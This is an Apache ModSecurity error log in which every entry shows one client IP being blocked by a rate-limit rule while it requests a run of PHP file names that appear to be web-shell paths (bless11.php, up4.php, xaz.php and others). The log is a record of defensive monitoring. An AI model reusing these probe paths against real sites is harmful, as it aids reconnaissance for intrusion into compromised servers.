[Sat Feb 21 03:23:40.609036 2026] [:error] [pid 38340:tid 38349] [client 104.46.226.22:60423] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZi0vBwhxuy_mBXA_-IqgAAAAMc"]
[Sat Feb 21 03:23:40.924694 2026] [:error] [pid 38165:tid 38282] [client 104.46.226.22:46882] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZi0vMveKhyo2vBHvI-wuwAAAEs"]
[Sat Feb 21 03:23:41.450084 2026] [:error] [pid 38165:tid 38275] [client 104.46.226.22:56647] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZi0vcveKhyo2vBHvI-wvAAAAEQ"]
[Sat Feb 21 03:23:41.734958 2026] [:error] [pid 38165:tid 38293] [client 104.46.226.22:56607] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZi0vcveKhyo2vBHvI-wvQAAAFY"]
[Sat Feb 21 03:23:42.064141 2026] [:error] [pid 38340:tid 38351] [client 104.46.226.22:46852] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aZi0vhwhxuy_mBXA_-IqhQAAAMk"]
[Sat Feb 21 03:23:42.743770 2026] [:error] [pid 38166:tid 38300] [client 104.46.226.22:60898] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aZi0vjatjXy17zTTzEFbWQAAAII"]
[Sat Feb 21 03:23:42.991640 2026] [:error] [pid 38164:tid 38263] [client 104.46.226.22:60718] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aZi0vtbO3dRxYRcZLe2NOQAAABY"]
[Sat Feb 21 03:23:43.475410 2026] [:error] [pid 38166:tid 38320] [client 104.46.226.22:5838] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aZi0vzatjXy17zTTzEFbXAAAAJY"]
[Sat Feb 21 03:23:43.773509 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:60365] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aZi0v8veKhyo2vBHvI-wxwAAAEI"]
[Sat Feb 21 03:23:44.038985 2026] [:error] [pid 38164:tid 38245] [client 104.46.226.22:60677] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aZi0wNbO3dRxYRcZLe2NOgAAAAQ"]
[Sat Feb 21 03:23:44.283506 2026] [:error] [pid 38166:tid 38313] [client 104.46.226.22:60426] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aZi0wDatjXy17zTTzEFbYwAAAI8"]
[Sat Feb 21 03:23:44.522295 2026] [:error] [pid 38164:tid 38257] [client 104.46.226.22:5616] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aZi0wNbO3dRxYRcZLe2NOwAAABA"]
[Sat Feb 21 03:23:44.821882 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:56553] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZi0wDatjXy17zTTzEFbZQAAAIo"]
[Sat Feb 21 03:23:45.119417 2026] [:error] [pid 38164:tid 38241] [client 104.46.226.22:5629] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZi0wdbO3dRxYRcZLe2NQAAAAAA"]
[Sat Feb 21 03:23:45.424920 2026] [:error] [pid 38166:tid 38316] [client 104.46.226.22:60619] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZi0wTatjXy17zTTzEFbaAAAAJI"]
[Sat Feb 21 03:23:45.860791 2026] [:error] [pid 38166:tid 38320] [client 104.46.226.22:5575] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aZi0wTatjXy17zTTzEFbbAAAAJY"]
[Sat Feb 21 03:23:46.204526 2026] [:error] [pid 38166:tid 38307] [client 104.46.226.22:56456] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aZi0wjatjXy17zTTzEFbbgAAAIk"]
[Sat Feb 21 03:23:46.590951 2026] [:error] [pid 38166:tid 38303] [client 104.46.226.22:5830] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aZi0wjatjXy17zTTzEFbcAAAAIU"]
[Sat Feb 21 03:23:47.478388 2026] [:error] [pid 38164:tid 38245] [client 104.46.226.22:56571] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aZi0w9bO3dRxYRcZLe2NQgAAAAQ"]
[Sat Feb 21 03:23:49.028170 2026] [:error] [pid 38340:tid 38357] [client 104.46.226.22:60970] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aZi0xRwhxuy_mBXA_-IqiwAAAM8"]
[Sat Feb 21 03:23:49.857345 2026] [:error] [pid 38340:tid 38342] [client 104.46.226.22:60714] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZi0xRwhxuy_mBXA_-IqjQAAAMA"]
[Sat Feb 21 03:23:50.497332 2026] [:error] [pid 38340:tid 38366] [client 104.46.226.22:46888] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZi0xhwhxuy_mBXA_-IqkAAAANg"]
[Sat Feb 21 03:23:50.934418 2026] [:error] [pid 38340:tid 38356] [client 104.46.226.22:54791] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZi0xhwhxuy_mBXA_-IqkgAAAM4"]
[Sat Feb 21 03:23:51.299921 2026] [:error] [pid 38166:tid 38302] [client 104.46.226.22:60693] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZi0xzatjXy17zTTzEFbfwAAAIQ"]
[Sat Feb 21 03:23:51.806953 2026] [:error] [pid 38164:tid 38242] [client 104.46.226.22:56565] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZi0x9bO3dRxYRcZLe2NSgAAAAE"]
[Sat Feb 21 03:23:53.465187 2026] [:error] [pid 38164:tid 38254] [client 104.46.226.22:46851] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZi0ydbO3dRxYRcZLe2NUAAAAA0"]
[Sat Feb 21 03:23:54.633138 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:5851] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZi0ysveKhyo2vBHvI-wzwAAAEI"]
[Sat Feb 21 03:23:55.017785 2026] [:error] [pid 38340:tid 38358] [client 104.46.226.22:65056] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZi0yxwhxuy_mBXA_-IqmAAAANA"]
[Sat Feb 21 03:23:55.660238 2026] [:error] [pid 38165:tid 38279] [client 104.46.226.22:60401] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aZi0y8veKhyo2vBHvI-w0QAAAEg"]
[Sat Feb 21 03:23:56.765500 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:5601] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aZi0zDatjXy17zTTzEFbhgAAAJM"]
[Sat Feb 21 03:23:57.198244 2026] [:error] [pid 38340:tid 38355] [client 104.46.226.22:56487] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aZi0zRwhxuy_mBXA_-IqrgAAAM0"]
[Sat Feb 21 03:23:57.900425 2026] [:error] [pid 38340:tid 38347] [client 104.46.226.22:5574] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aZi0zRwhxuy_mBXA_-IqswAAAMU"]
[Sat Feb 21 03:23:58.592721 2026] [:error] [pid 38164:tid 38253] [client 104.46.226.22:60433] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aZi0ztbO3dRxYRcZLe2NZAAAAAw"]
[Sat Feb 21 03:23:58.970351 2026] [:error] [pid 38166:tid 38311] [client 104.46.226.22:65413] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aZi0zjatjXy17zTTzEFbiwAAAI0"]
[Sat Feb 21 03:23:59.629799 2026] [:error] [pid 38166:tid 38313] [client 104.46.226.22:60893] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aZi0zzatjXy17zTTzEFbjwAAAI8"]
[Sat Feb 21 03:24:00.466666 2026] [:error] [pid 38164:tid 38262] [client 104.46.226.22:60948] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aZi00NbO3dRxYRcZLe2NZQAAABU"]
[Sat Feb 21 03:24:01.015478 2026] [:error] [pid 38340:tid 38347] [client 104.46.226.22:60452] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aZi00Rwhxuy_mBXA_-IqyAAAAMU"]
[Sat Feb 21 03:24:01.375793 2026] [:error] [pid 38165:tid 38277] [client 104.46.226.22:60878] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aZi00cveKhyo2vBHvI-w2wAAAEY"]
[Sat Feb 21 03:24:01.996563 2026] [:error] [pid 38340:tid 38356] [client 104.46.226.22:60922] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aZi00Rwhxuy_mBXA_-Iq0AAAAM4"]
[Sat Feb 21 03:24:04.799953 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:5931] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aZi01MveKhyo2vBHvI-w5gAAAEU"]
[Sat Feb 21 03:24:05.774352 2026] [:error] [pid 38165:tid 38292] [client 104.46.226.22:56577] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aZi01cveKhyo2vBHvI-w7wAAAFU"]
[Sat Feb 21 03:24:06.691297 2026] [:error] [pid 38166:tid 38320] [client 104.46.226.22:65488] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aZi01jatjXy17zTTzEFbngAAAJY"]
[Sat Feb 21 03:24:07.272308 2026] [:error] [pid 38340:tid 38353] [client 104.46.226.22:56460] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aZi01xwhxuy_mBXA_-Iq8gAAAMs"]
[Sat Feb 21 03:24:07.673718 2026] [:error] [pid 38164:tid 38265] [client 104.46.226.22:54809] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aZi019bO3dRxYRcZLe2NdQAAABg"]
[Sat Feb 21 03:24:08.253942 2026] [:error] [pid 38164:tid 38253] [client 104.46.226.22:5875] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aZi02NbO3dRxYRcZLe2NeAAAAAw"]
[Sat Feb 21 03:24:09.577266 2026] [:error] [pid 38340:tid 38365] [client 104.46.226.22:60358] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aZi02Rwhxuy_mBXA_-IrCwAAANc"]
[Sat Feb 21 03:24:10.266487 2026] [:error] [pid 38340:tid 38355] [client 104.46.226.22:60989] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aZi02hwhxuy_mBXA_-IrFAAAAM0"]
[Sat Feb 21 03:24:10.528388 2026] [:error] [pid 38165:tid 38289] [client 104.46.226.22:54788] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aZi02sveKhyo2vBHvI-w8gAAAFI"]
[Sat Feb 21 03:24:10.870791 2026] [:error] [pid 38166:tid 38305] [client 104.46.226.22:60371] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZi02jatjXy17zTTzEFbowAAAIc"]
[Sat Feb 21 03:24:11.755508 2026] [:error] [pid 38340:tid 38358] [client 104.46.226.22:65071] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZi02xwhxuy_mBXA_-IrIgAAANA"]
[Sat Feb 21 03:24:12.027217 2026] [:error] [pid 38165:tid 38294] [client 104.46.226.22:60357] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZi03MveKhyo2vBHvI-w9AAAAFc"]
[Sat Feb 21 03:24:12.371843 2026] [:error] [pid 38165:tid 38283] [client 104.46.226.22:56651] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aZi03MveKhyo2vBHvI-w-QAAAEw"]
[Sat Feb 21 03:24:13.093101 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:56662] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aZi03cveKhyo2vBHvI-xAAAAAFQ"]
[Sat Feb 21 03:24:13.486064 2026] [:error] [pid 38166:tid 38300] [client 104.46.226.22:56458] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aZi03TatjXy17zTTzEFbpQAAAII"]
[Sat Feb 21 03:24:13.781514 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:65097] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aZi03cveKhyo2vBHvI-xCQAAAEI"]
[Sat Feb 21 03:24:14.234430 2026] [:error] [pid 38166:tid 38301] [client 104.46.226.22:60447] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtz.php"] [unique_id "aZi03jatjXy17zTTzEFbpwAAAIM"]
[Sat Feb 21 03:24:14.814213 2026] [:error] [pid 38164:tid 38247] [client 104.46.226.22:60359] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aZi03tbO3dRxYRcZLe2NfwAAAAY"]
